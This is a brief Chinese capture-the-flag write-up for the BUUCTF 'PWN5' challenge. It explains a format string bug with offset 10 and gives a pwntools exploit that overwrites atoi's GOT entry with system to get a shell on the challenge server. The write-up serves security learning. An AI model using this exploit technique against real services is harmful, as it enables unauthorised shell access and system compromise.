BUUCTF-PWN-[第五空间2019决赛]PWN5

checksec

image-20211113094421184

IDA

image-20211113094504882

有两个输入点,但都做了读取长度限制,无法溢出,那么我们选择利用格式化字符串漏洞

检查偏移

QQ图片20211113094741

得到偏移为10

思路

利用格式化字符串改写atoi的got地址,将其改为system的地址,然后再输入'/bin/sh\x00',得到shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('node4.buuoj.cn', 28088)
elf = ELF('./pwn')

atoi = elf.got['atoi']
system = elf.plt['system']

payload = fmtstr_payload(10, {atoi: system}) # 又臭不要脸的用了fmtstr函数

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

结果

image-20211113095708723